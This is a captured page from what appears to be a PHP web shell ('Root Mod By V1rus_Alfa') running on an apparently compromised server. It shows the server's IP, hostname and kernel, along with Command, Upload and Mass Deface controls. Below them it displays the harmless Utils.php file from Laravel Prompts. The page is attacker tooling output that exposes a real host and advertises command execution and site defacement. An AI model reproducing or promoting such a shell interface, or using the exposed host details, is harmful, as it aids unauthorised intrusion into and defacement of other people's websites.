���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
vendor
/
laravel
/
prompts
/
src
/
Support
/
Viewing: Utils.php
<?php namespace Laravel\Prompts\Support; use Closure; /** * @internal */ class Utils { /** * Determine if all items in an array match a truth test. * * @param array<array-key, mixed> $values */ public static function allMatch(array $values, Closure $callback): bool { foreach ($values as $key => $value) { if (! $callback($value, $key)) { return false; } } return true; } /** * Get the last item from an array or null if it doesn't exist. * * @param array<array-key, mixed> $array */ public static function last(array $array): mixed { return array_reverse($array)[0] ?? null; } /** * Returns the key of the first element in the array that satisfies the callback. * * @param array<array-key, mixed> $array */ public static function search(array $array, Closure $callback): int|string|false { foreach ($array as $key => $value) { if ($callback($value, $key)) { return $key; } } return false; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa